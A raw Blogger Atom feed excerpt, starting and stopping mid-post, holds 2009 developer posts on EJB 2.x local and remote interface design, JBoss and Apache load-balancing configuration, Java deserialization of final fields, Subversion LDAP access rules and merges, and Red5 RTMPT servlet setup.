javax.ejb.EJBLocalObject&lt;/li&gt;&lt;/ul&gt;If you want to be able to switch between local and remote deployment you need to change every place where you retrieve the EJB, usually this action is concentrated in a ServiceLocator implementation like:&lt;br/&gt;&lt;pre&gt;&lt;br /&gt;public class MyComponentServiceLocator {&lt;br /&gt;   public final static String MY_COMPONENT_LOCATION = "ejb/myComponent";&lt;br /&gt;&lt;br /&gt;   public static MyComponentLocal getLocal(Properties properties) throws Exception {&lt;br /&gt;       InitialContext context = new InitialContext(properties);&lt;br /&gt;       MyComponentLocalHome home = (MyComponentRemoteHome)context.lookup(MY_COMPONENT_LOCATION + "/local");&lt;br /&gt;       return home.create();&lt;br /&gt;   }&lt;br /&gt;   public static MyComponentRemote getRemote(Properties properties) throws Exception {&lt;br /&gt;       InitialContext context = new InitialContext(properties);&lt;br /&gt;       MyComponentRemoteHome home = (MyComponentRemoteHome)context.lookup(MY_COMPONENT_LOCATION + "/remote");&lt;br /&gt;       return home.create();&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br/&gt;&lt;br/&gt;With this approach you can switch from local to remote just switching from MyComponentServiceLocator.getLocal(...) to MyComponentServiceLocator.getRemote(...) on every place you need to switch, but in addition you need to switch the type you declared for the variable to which you are going to assign the MyComponentServiceLocator call result: from MyComponentLocal to MyComponentRemote.&lt;br/&gt;&lt;br/&gt;In addition you need to manually track down all interfaces are exposing the same methods.&lt;br/&gt;Wouldn't it easier if we can have some sort of automatic check and avoid the need to switch the code? Couldn't be possible to switch between local and remote at deployment time without &lt;b&gt;any&lt;/b&gt; change at compile time?&lt;br/&gt;&lt;br/&gt;Well, the answer is in the following structure:&lt;br/&gt;&lt;ul&gt;&lt;li&gt;public interface &lt;b&gt;MyComponent&lt;br/&gt;&lt;/b&gt;&lt;i&gt;declares all shared functional methods, each method will throws java.rmi.RemoteException in addition to any exception it should normally throw&lt;/i&gt;&lt;/li&gt;&lt;li&gt;public interface &lt;b&gt;MyComponentHome&lt;/b&gt;&lt;i&gt;&lt;br/&gt;declares all shared creation methods throwing both java.rmi.RemoteException and javax.ejb.CreateException&lt;/i&gt;&lt;b&gt;&lt;br/&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;public class &lt;b&gt;MyComponentBean&lt;/b&gt; implements javax.ejb.SessionBean, MyComponentRemote, MyComponentLocal&lt;br/&gt;&lt;i&gt;the MyComponentRemote and MyComponentLocal interfaces have been added here to ensure the implementation class provides code for all the declared methods: be careful, all methods &lt;b&gt;must not&lt;/b&gt; throw java.rmiRemoteException&lt;/i&gt;&lt;br/&gt;&lt;/li&gt;&lt;li&gt;public interface &lt;b&gt;MyComponentRemoteHome&lt;/b&gt; extends javax.ejb.EJBRemoteHome, MyComponentHome&lt;br/&gt;&lt;i&gt;the MyComponentHome interface has been added here to ensure all shared creation methods are supported by the remote home: if &lt;b&gt;all&lt;/b&gt; the remote creation methods are shared than this interface will be completely empty!&lt;/i&gt;&lt;br/&gt;&lt;/li&gt;&lt;li&gt;public interface &lt;b&gt;MyComponentRemote&lt;/b&gt; extends javax.ejb.EJBObject, MyComponent&lt;br/&gt;&lt;i&gt;the MyComponent interface has been added here to ensure all the shared methods are supported through the remote interface: if &lt;b&gt;all&lt;/b&gt; the remote methods are shared than this interface will be completely empty!&lt;/i&gt;&lt;br/&gt;&lt;/li&gt;&lt;li&gt;public interface &lt;b&gt;MyComponentLocalHome&lt;/b&gt; extends javax.ejb. EJBLocalHome, MyComponentHome&lt;br/&gt;&lt;i&gt;the MyComponentHome interface has been added here to ensure all shared creation methods are supported by the local home: all methods defined in the MyComponentHome interface &lt;b&gt;must be overriden&lt;/b&gt; here to remove the java.rmi.RemoteException declaration; if you forget this step your application server should warn you when you deploy this EJB.&lt;/i&gt;&lt;br/&gt;&lt;/li&gt;&lt;li&gt;public interface &lt;b&gt;MyComponentLocal&lt;/b&gt; extends javax.ejb.EJBLocalObject, MyComponent&lt;br/&gt;&lt;i&gt;the MyComponent interface has been added here to ensure all shared methods are supported through the local interface: all methods defined in the MyComponent interface &lt;b&gt;must be overriden&lt;/b&gt; here to remove the java.rmi.RemoteException declaration; if you forget this step your application server should warn you when you deploy this EJB.&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;This is harder to say than to put in practice and the advantages are:&lt;br/&gt;&lt;ul&gt;&lt;li&gt;one place for shared creation methods: if you add a method to MyComponentHome interface you automatically get it on the remote home and if you forget to override it in the local home (to remove the java.rmi.RemoteException)  your application server will warn you on your first deployment;&lt;/li&gt;&lt;li&gt;one place for shared functional methods: if you add a method to MyComponent interface you automatically get it on the remote interface and if you forget to override it in the local interface (to remove the java.rmi.RemoteException)  your application server will warn you on your first deployment;&lt;/li&gt;&lt;li&gt;your clients will no more have to deal with remote or local differences as they will use the MyComponent interface (unless they need some methods not available on both interfaces)&lt;/li&gt;&lt;li&gt;you can still produce different interfaces for local and remote deployments;&lt;/li&gt;&lt;li&gt;your implementation will always implement the required methods;&lt;br/&gt;&lt;/li&gt;&lt;li&gt;you can switch between local and remote deployment using the &lt;a target='_blank' href='http://docs.sun.com/source/816-5831-10/sessionejb/ejbref.html'&gt;ejb-ref&lt;/a&gt; directive (in your web.xml or in your ejb.xml)&lt;/li&gt;&lt;li&gt;you can have a ServiceLocator like the following one which completely masks the remote vs local&lt;br/&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;pre&gt;public class MyComponentServiceLocator {&lt;br /&gt;   public final static String MY_COMPONENT_LOCATION = "ejb/myComponent";&lt;br /&gt;   public static MyComponent get(Properties properties) throws NamingException, CreateException, RemoteException {&lt;br /&gt;        InitialContext context = new InitialContext(properties);&lt;br /&gt;        MyComponentHome home = (MyComponentHome)context.lookup("java:comp/env/" + MY_COMPONENT_LOCATION);&lt;br /&gt;        return home.create();&lt;br /&gt;   }&lt;br /&gt;}&lt;/pre&gt;&lt;br/&gt;&lt;br/&gt;If you don't want to deal with the ejb-ref at all you can consider the following ServiceLocator implementation which allows any deployment combination and automatically uses the local interface if available (with lesser performances as two JNDI lookups are performed in the worst case)&lt;br/&gt;&lt;br /&gt;&lt;pre&gt;public class MyComponentServiceLocator {&lt;br /&gt;   public final static String MY_COMPONENT_LOCATION = "ejb/myComponent";&lt;br /&gt;   public static MyComponent get(Properties properties) throws NamingException, CreateException, RemoteException {&lt;br /&gt;       try {&lt;br /&gt;            return MyComponentServiceLocator.getLocal(properties);&lt;br /&gt;       } catch (Exception e) {&lt;br /&gt;            return MyComponentServiceLocator.getRemote(properties);&lt;br /&gt;       }&lt;br /&gt;   }&lt;br /&gt;   public static MyComponentLocal getLocal(Properties properties) throws NamingException, CreateException {&lt;br /&gt;       InitialContext context = new InitialContext(properties);&lt;br /&gt;       MyComponentLocalHome home = (MyComponentRemoteHome)context.lookup(MY_COMPONENT_LOCATION + "/local");&lt;br /&gt;       return home.create();&lt;br /&gt;   }&lt;br /&gt;   public static MyComponentRemote getRemote(Properties properties) throws NamingException, CreateException, RemoteException {&lt;br /&gt;       InitialContext context = new InitialContext(properties);&lt;br /&gt;       MyComponentRemoteHome home = (MyComponentRemoteHome)context.lookup(MY_COMPONENT_LOCATION + "/remote");&lt;br /&gt;       return home.create();&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br/&gt;Be careful, the last solution can produce unwanted exception traces in your application server when the local lookup fails: those exceptions are normal unless produced by the remote lookup. Those unwanted exceptions can bring you mad when you try to understand why your EJB is not working.&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=dba14376-2046-8ebf-aa34-e2a1f341b6d0' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-2978241408013868551?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/2978241408013868551/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=2978241408013868551&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2978241408013868551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2978241408013868551'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/10/ejb-2x-maximum-performances-and.html' title='EJB 2.x maximum performances and flexibility: abstract from Remote vs Local'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-4106279503288657529</id><published>2009-10-06T00:49:00.004+01:00</published><updated>2009-10-06T01:19:08.881+01:00</updated><title type='text'>JBoss Production Environment</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;In my humble opinion a JBoss production environment should be something like the one depicted in the following diagram&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_i3EJUvEf35o/SsqC5wU3WaI/AAAAAAAAABM/xcW0xW7K4JQ/%5BUNSET%5D.png?imgmax=800" style="max-width: 600px;" /&gt;&lt;br /&gt;&lt;br /&gt;I recommend to use mod_proxy, mod_proxy_balancer and mod_proxy_ajp apache modules both for load balancing and request forwarding with directives like:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;ProxyRequests Off&lt;br /&gt;&amp;lt;Proxy balancer://webapp-cluster&amp;gt;&lt;br /&gt;    Order deny,allow&lt;br /&gt;    Allow from all&lt;br /&gt;    BalancerMember   ajp://instance1:8009/webapp-name    loadfactor=1&lt;br /&gt;    BalancerMember   ajp://instance2:8009/webapp-name    loadfactor=1&lt;br /&gt;    ProxySet         lbmethod=bytraffic&lt;br /&gt;&amp;lt;/Proxy&amp;gt;&lt;br /&gt;ProxyPass            /webapp-name     balancer://webapp-cluster&lt;br /&gt;ProxyPassReverse     /webapp-name     balancer://webapp-cluster&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;System dimensions and load can vary the numbers, but the architecture should be sufficient and enough scalable for many situations.&lt;br /&gt;&lt;br /&gt;&lt;div class="zemanta-pixie"&gt;&lt;img src="http://img.zemanta.com/pixy.gif?x-id=a902a46f-dd46-8492-bc11-072ca80639da" alt="" class="zemanta-pixie-img hgikxugzfwgffkzohkya hgikxugzfwgffkzohkya hgikxugzfwgffkzohkya hgikxugzfwgffkzohkya hgikxugzfwgffkzohkya hgikxugzfwgffkzohkya hgikxugzfwgffkzohkya hgikxugzfwgffkzohkya hgikxugzfwgffkzohkya" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-4106279503288657529?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/4106279503288657529/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=4106279503288657529&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/4106279503288657529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/4106279503288657529'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/10/jboss-production-environment.html' title='JBoss Production Environment'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_i3EJUvEf35o/SsqC5wU3WaI/AAAAAAAAABM/xcW0xW7K4JQ/s72-c/%5BUNSET%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-6709125914576065956</id><published>2009-10-05T01:57:00.001+01:00</published><updated>2009-10-06T00:51:41.446+01:00</updated><title type='text'>Java Serialization &amp; final class attributes</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Today I had to face a problem with Java Serialization and here is the report of what I've achieved.&lt;br/&gt;The SmartWeb BusinessObject class defines a protected attribute named &lt;font face='monospace'&gt;logger&lt;/font&gt; carrying the logger for subclasses. The &lt;font face='monospace'&gt;BusinessObject&lt;/font&gt; class implements &lt;font face='monospace'&gt;Serializable&lt;/font&gt; thus it needs to define the &lt;font face='monospace'&gt;logger&lt;/font&gt; attribute as transient because Commons Logging loggers are non serializable.&lt;br/&gt;&lt;br/&gt;The problem arises whenever you deserialize a &lt;font face='monospace'&gt;BusinessObject&lt;/font&gt; subclass because the &lt;font face='monospace'&gt;logger&lt;/font&gt; attribute will not be deserialized (it has not be serialized at all!) and this makes all your logging statements producing &lt;font face='monospace'&gt;NullPointerException&lt;/font&gt;s! BTW, those errors are very difficult to understand for two reasons:&lt;br/&gt;&lt;ol&gt;&lt;li&gt;you always consider that attribute valid and you will hardly consider tha logger attribute to be null&lt;/li&gt;&lt;li&gt;every logging statement you try to add to your code to understand what's going wrong will fail on it's own&lt;/li&gt;&lt;/ol&gt;Well, the solution to the problem is re initialize the &lt;font face='monospace'&gt;logger&lt;/font&gt; attribute upon object deserialization implementing a custom &lt;i&gt;readObject&lt;/i&gt; method as stated in the &lt;a href='http://java.sun.com/j2se/1.4.2/docs/api/java/io/Serializable.html'&gt;Serializable interface documentation&lt;/a&gt;:&lt;br/&gt;&lt;pre&gt;private void readObject(java.io.ObjectInputStream in)&lt;br /&gt;     throws IOException, ClassNotFoundException;&lt;br /&gt;&lt;/pre&gt;The preceeding code is not going to work in my specific case because the &lt;font face='monospace'&gt;logger&lt;/font&gt; attribute has been declared as &lt;font face='monospace'&gt;final&lt;/font&gt; to avoid unwanted replacements and potential errors. The first option I took in consideration was "&lt;i&gt;ok, I've no exit, let's make that attribute non final&lt;/i&gt;" but the idea was suddenly replaced by "&lt;i&gt;but standard Java Serialization is normally able to deserialize final fields... how?&lt;/i&gt;" and I googled and digged a little bit into the problem ending to the following solution:&lt;br/&gt;&lt;pre&gt;&amp;lt;br /&amp;gt;	/**&amp;lt;br /&amp;gt;	 * Custom deserialization. We need to re-initialize a logger instance as loggers&amp;lt;br /&amp;gt;	 * can't be serialized.&amp;lt;br /&amp;gt;	 */&amp;lt;br /&amp;gt;	private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {&amp;lt;br /&amp;gt;		try {&amp;lt;br /&amp;gt;			Class type = BusinessObject.class;&amp;lt;br /&amp;gt;			// use getDeclaredField as the field is non public&amp;lt;br /&amp;gt;			Field logger = type.getDeclaredField("logger");&amp;lt;br /&amp;gt;			// make the field non final&amp;lt;br /&amp;gt;			logger.setAccessible(true);&amp;lt;br /&amp;gt;			logger.set(this, LogFactory.getLog(type));&amp;lt;br /&amp;gt;			// make the field final again&amp;lt;br /&amp;gt;			logger.setAccessible(false);&amp;lt;br /&amp;gt;		} catch (Exception e) {&amp;lt;br /&amp;gt;			LogFactory.getLog(this.getClass())&amp;lt;br /&amp;gt;				.warn("unable to recover the logger after deserialization: logging statements will cause null pointer exceptions", e);&amp;lt;br /&amp;gt;		}&amp;lt;br /&amp;gt;		in.defaultReadObject();&amp;lt;br /&amp;gt;	}&amp;lt;br /&amp;gt;&lt;/pre&gt;&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=365afb97-f1e8-8a8a-b47c-ef3a9e1a0dc5' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-6709125914576065956?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/6709125914576065956/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=6709125914576065956&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/6709125914576065956'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/6709125914576065956'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/10/java-serialization-final-class.html' title='Java Serialization &amp;amp; final class attributes'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-6586137338817765863</id><published>2009-09-30T12:25:00.001+01:00</published><updated>2009-10-06T00:54:21.343+01:00</updated><title type='text'>Subversion + LDAP read only and read write</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;div style='float: right;' class='zemanta-image'&gt;&lt;a title='Public domain' href='http://commons.wikipedia.org/wiki/Image:Goyathlay.jpeg'&gt;&lt;img src='http://upload.wikimedia.org/wikipedia/commons/thumb/8/89/Goyathlay.jpeg/300px-Goyathlay.jpeg'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;small&gt;Image via &lt;a href='http://commons.wikipedia.org/wiki/Image:Goyathlay.jpeg'&gt;Wikipedia&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;Here follows the Apache configuration I found working to set a repository read-only and read-write permissions. Consider read-write permissions are given by adding a user to &lt;b&gt;both&lt;/b&gt; &lt;i&gt;read-allowed&lt;/i&gt; &lt;u&gt;&lt;b&gt;and&lt;/b&gt;&lt;/u&gt; &lt;i&gt;write-allowed&lt;/i&gt; LDAP groups, while read-only permissions are given through the &lt;i&gt;read-allowed&lt;/i&gt; LDAP group.&lt;br/&gt;&lt;br/&gt;&lt;font face='monospace'&gt;&lt;location test=''&gt;&lt;br/&gt;  AuthType basic&lt;br/&gt;  AuthBasicProvider ldap&lt;br/&gt;  AuthBasicAuthoritative On&lt;br/&gt;  AuthName "SmartLab Directory Server"&lt;br/&gt;  AuthLDAPURL ldap://ldap/ou=people,dc=smartlab,dc=net&lt;br/&gt;  AuthLDAPGroupAttributeIsDN off&lt;br/&gt;  AuthLDAPGroupAttribute memberUid&lt;br/&gt;  &lt;limit report='' options='' propfind='' get=''&gt;&lt;br/&gt;    Require ldap-group cn=read-allowed,ou=groups,dc=smartlab,dc=net&lt;br/&gt;  &lt;/limit&gt;&lt;br/&gt;  &lt;limitexcept report='' options='' propfind='' get=''&gt;&lt;br/&gt;    Require ldap-group cn=write-allowed,ou=groups,dc=smartlab,dc=net&lt;br/&gt;  &lt;/limitexcept&gt;&lt;br/&gt;&lt;/location&gt;&lt;br/&gt;&lt;/font&gt;&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;a title='Reblog this post [with Zemanta]' href='http://reblog.zemanta.com/zemified/869b7a70-bfe1-4fb5-84bb-b5bc4eb0858c/' class='zemanta-pixie-a'&gt;&lt;img alt='Reblog this post [with Zemanta]' src='http://img.zemanta.com/reblog_e.png?x-id=869b7a70-bfe1-4fb5-84bb-b5bc4eb0858c' class='zemanta-pixie-img'/&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-6586137338817765863?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/6586137338817765863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=6586137338817765863&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/6586137338817765863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/6586137338817765863'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/09/subversion-ldap-read-only-and-read.html' title='Subversion + LDAP read only and read write'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-5720017711488544010</id><published>2009-09-24T15:53:00.002+01:00</published><updated>2009-10-06T00:58:16.507+01:00</updated><title type='text'>Subversion merge after refactor</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;I recently discovered the popular Subversion VCS has a problem to apply differences to moved files. Unfortunately I discovered this after a big and time consuming refactor process so I had to find out an "easy-to-apply" solution to this problem.&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-image'&gt;&lt;a href='http://commons.wikipedia.org/wiki/Image:Subversion_project_visualization.svg' title='GNU Free Documentation License'&gt;&lt;img src='http://upload.wikimedia.org/wikipedia/commons/thumb/4/4e/Subversion_project_visualization.svg/500px-Subversion_project_visualization.svg.png' style='float: none;'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;small&gt;Image via &lt;a href='http://commons.wikipedia.org/wiki/Image:Subversion_project_visualization.svg'&gt;Wikipedia&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;&lt;span style='font-family: georgia;'&gt;&lt;br/&gt;&lt;br/&gt;My repository layout is something like:&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&lt;span style='font-family: monospace;'&gt;&lt;big&gt;project&lt;br/&gt;   +-- trunk&lt;br/&gt;   +-- branches&lt;br/&gt;      +-- refactoring&lt;/big&gt;&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&lt;span style='font-family: georgia;'&gt;The target operation is to merge the refactoring branch onto the trunk, but to avoid blocking all other people I decide to perform the inverse: apply all updates on the trunk to the refactoring branch. On merge completion I'm going to switch the twos.&lt;br/&gt;&lt;br/&gt;First of all I started merging the trunk onto the branch ignoring all the "Skipped missing target" messages which whould occur for each file you moved/renamed: in my case this was happening for 99% percent of the files, as it was a massive refactor, and only downloading added files (which you may still need to review).&lt;br/&gt;&lt;span style='font-family: courier new;'&gt;&lt;br/&gt;svn merge -r 3855:HEAD http://svn.smartlab.net/project/trunk&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;Then I moved on the trunk working copy and performed a huge diff starting from the revision in which I created the branch and stopping to the HEAD revision:&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&lt;span style='font-family: monospace;'&gt;&lt;big&gt;svn diff -r 3855:HEAD . &amp;gt; rev.3855-HEAD.diff&lt;/big&gt;&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&lt;span style='font-family: georgia;'&gt;Next step was to open the diff file both in eclipse (right click on the checkout folder, Team/Apply patch...) and within a text editor (I used gedit, but vi or notepad++ should get you to the same results): I used eclipse to easily find unmatched entries (shown with a red cross) and applied a textual search &amp;amp; replace on the diff file in the text editor.&lt;br/&gt;&lt;br/&gt;At the end of my process I had a diff file I could use to patch my branch to have it up to date against the trunk, with a few missing/unappliable patches against those files I had removed definitely from my branch.&lt;br/&gt;&lt;br/&gt;The process was easy, but needed time and the results depends on the accuracy you perform it. But at least all my work has not been void!&lt;br/&gt;&lt;br/&gt;BTW: if you are not mass refactorying you can use the Eclipse support to select an unmatched diff entry and &lt;b&gt;move&lt;/b&gt; it to another file, this can be really usefull if you have moved only a few files.&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=2e69252b-cc5c-813e-9be7-6c6f9d539016' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-5720017711488544010?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/5720017711488544010/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=5720017711488544010&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/5720017711488544010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/5720017711488544010'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/09/subversion-merge-after-refactor.html' title='Subversion merge after refactor'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-5491022289616680446</id><published>2009-09-03T20:08:00.005+01:00</published><updated>2009-09-03T20:43:07.950+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='red5 tomcat war'/><title type='text'>RTMPT on Tomat + Red5 as a war</title><content type='html'>&lt;div&gt;&lt;blockquote&gt;&lt;/blockquote&gt;I'm recently developing a Flex application and, as an Open Source addicted, I choosen to use Red5 as streaming server.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The network architecture actually is a Tomcat 6 servlet container with some wars deployed within, one of which is the Red5 streaming server.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;To ensure my application could be used through internet the default RTMP protocol is not the best choice as some firewalls blocks its port, so I opted for the RTMP over HTTP, also known as &lt;a href="http://en.wikipedia.org/wiki/Real_Time_Messaging_Protocol"&gt;RTMPT&lt;/a&gt; (notice the final additional T) which is able to tunnel RTMP inside HTTP.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;I found a bit of confusion when I googled to configure my Red5 war so I'm going to report here the simple four steps I did to make my configuration working.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;Open your WEB-INF/web.xml file and add the RTMPT servlet definition and mappings (if RTMP is going to be tunneled inside HTTP we need an HTTP endpoint able to forward packets)&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family:'courier new';"&gt;&lt;br /&gt;       &amp;lt;servlet&amp;gt;&lt;br /&gt;               &amp;lt;servlet-name&amp;gt;rtmpt&amp;lt;/servlet-name&amp;gt;&lt;br /&gt;               &amp;lt;servlet-class&amp;gt;org.red5.server.net.rtmpt.RTMPTServlet&amp;lt;/servlet-class&amp;gt;&lt;br /&gt;               &amp;lt;load-on-startup&amp;gt;1&amp;lt;/load-on-startup&amp;gt;&lt;br /&gt;       &amp;lt;/servlet&amp;gt;&lt;br /&gt;&lt;br /&gt;       &amp;lt;servlet-mapping&amp;gt;&lt;br /&gt;               &amp;lt;servlet-name&amp;gt;rtmpt&amp;lt;/servlet-name&amp;gt;&lt;br /&gt;               &amp;lt;url-pattern&amp;gt;/fcs/*&amp;lt;/url-pattern&amp;gt;&lt;br /&gt;       &amp;lt;/servlet-mapping&amp;gt;&lt;br /&gt;&lt;br /&gt;       &amp;lt;servlet-mapping&amp;gt;&lt;br /&gt;               &amp;lt;servlet-name&amp;gt;rtmpt&amp;lt;/servlet-name&amp;gt;&lt;br /&gt;               &amp;lt;url-pattern&amp;gt;/open/*&amp;lt;/url-pattern&amp;gt;&lt;br /&gt;       &amp;lt;/servlet-mapping&amp;gt;&lt;br /&gt;&lt;br /&gt;       &amp;lt;servlet-mapping&amp;gt;&lt;br /&gt;               &amp;lt;servlet-name&amp;gt;rtmpt&amp;lt;/servlet-name&amp;gt;&lt;br /&gt;               &amp;lt;url-pattern&amp;gt;/close/*&amp;lt;/url-pattern&amp;gt;&lt;br /&gt;       &amp;lt;/servlet-mapping&amp;gt;&lt;br /&gt;&lt;br /&gt;       &amp;lt;servlet-mapping&amp;gt;&lt;br /&gt;               &amp;lt;servlet-name&amp;gt;rtmpt&amp;lt;/servlet-name&amp;gt;&lt;br /&gt;               &amp;lt;url-pattern&amp;gt;/send/*&amp;lt;/url-pattern&amp;gt;&lt;br /&gt;       &amp;lt;/servlet-mapping&amp;gt;&lt;br /&gt;&lt;br /&gt;       &amp;lt;servlet-mapping&amp;gt;&lt;br /&gt;               &amp;lt;servlet-name&amp;gt;rtmpt&amp;lt;/servlet-name&amp;gt;&lt;br /&gt;               &amp;lt;url-pattern&amp;gt;/idle/*&amp;lt;/url-pattern&amp;gt;&lt;br /&gt;       &amp;lt;/servlet-mapping&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;br 